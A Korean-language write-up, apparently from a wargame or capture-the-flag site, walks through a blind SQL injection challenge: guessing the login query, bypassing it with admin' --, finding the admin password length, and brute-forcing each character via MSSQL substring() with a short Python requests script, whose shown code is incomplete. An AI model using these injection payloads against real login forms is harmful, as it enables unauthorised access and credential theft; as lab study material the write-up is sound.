Blind Sql Injection 문제다. Blind Sql Injection은 sql쿼리를 조작해 넣었을때 나오는
특정신호를 파악해 pw를 얻는거라 볼수있다.
힌트를 보면 id : guest, pw : guest 인 계정이있고, admin의 비밀번호를 찾아보라한다.
guest로 로그인이 된다.
그렇다면 sql쿼리는 [ select * where id='$id' and pw='$pw' ]라는걸 추측해 볼 수 있다.
admin' -- 를 넣는다면, [ select * where id='admin' -- ] 로 -- 뒤는 주석처리가되어
결국 sql문은 참이되어 OK admin이 출력된다.
그렇다면 admin' and (추가조건)-- 을 걸어서 패스워드의 길이를 알아보자
10보다 크지않고, 9보다 크다면 비밀번호는 10글자인걸 알 수 있다.
이제 패스워드 문자 하나씩 불러와 패스워드값으로 사용 가능한 33번부터 126까지 대입해보자.
일단 주석이 --으로 처리되는것 보니까 MSSQL 인것같다. (MYSQL 은 #이 한줄주석이다)
MSSQL 문자열관련함수를 찾아보니 substring함수가 있다.
[substring]
substring( value , start_index , length ) -> 길이만큼 시작인덱스에서 값을 반환한다.
- value : pw
- start_index : 1~10 (MSSQL 에서 문자열은 index 1부터 시작한다 )
- length : 1
이런식으로 하나씩 값을 가져와 33번부터 126까지 대입해보면된다.
내가하면 시간이 너무오래걸리니, python코드로 짜보겠다.
[python]
sql문이 참이면 OK admin 이 나오고 거짓이면 false 가 나온다는점을 이용해 소스를 짜주면 된다.
체크문은 OK admin 일때의 html소스를 긁어왔다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import requests
params={"id":"","pw":1}
print("[+]password : ",end="")
for i in range(1,11):
for j in range(33,126):
params['id']="admin' and substring(pw,"+str(i)+",1)='"+chr(j)+"'--"
print(chr(j),end="")
|
실행하고 잠시기다리면 Auth_key가 나온다.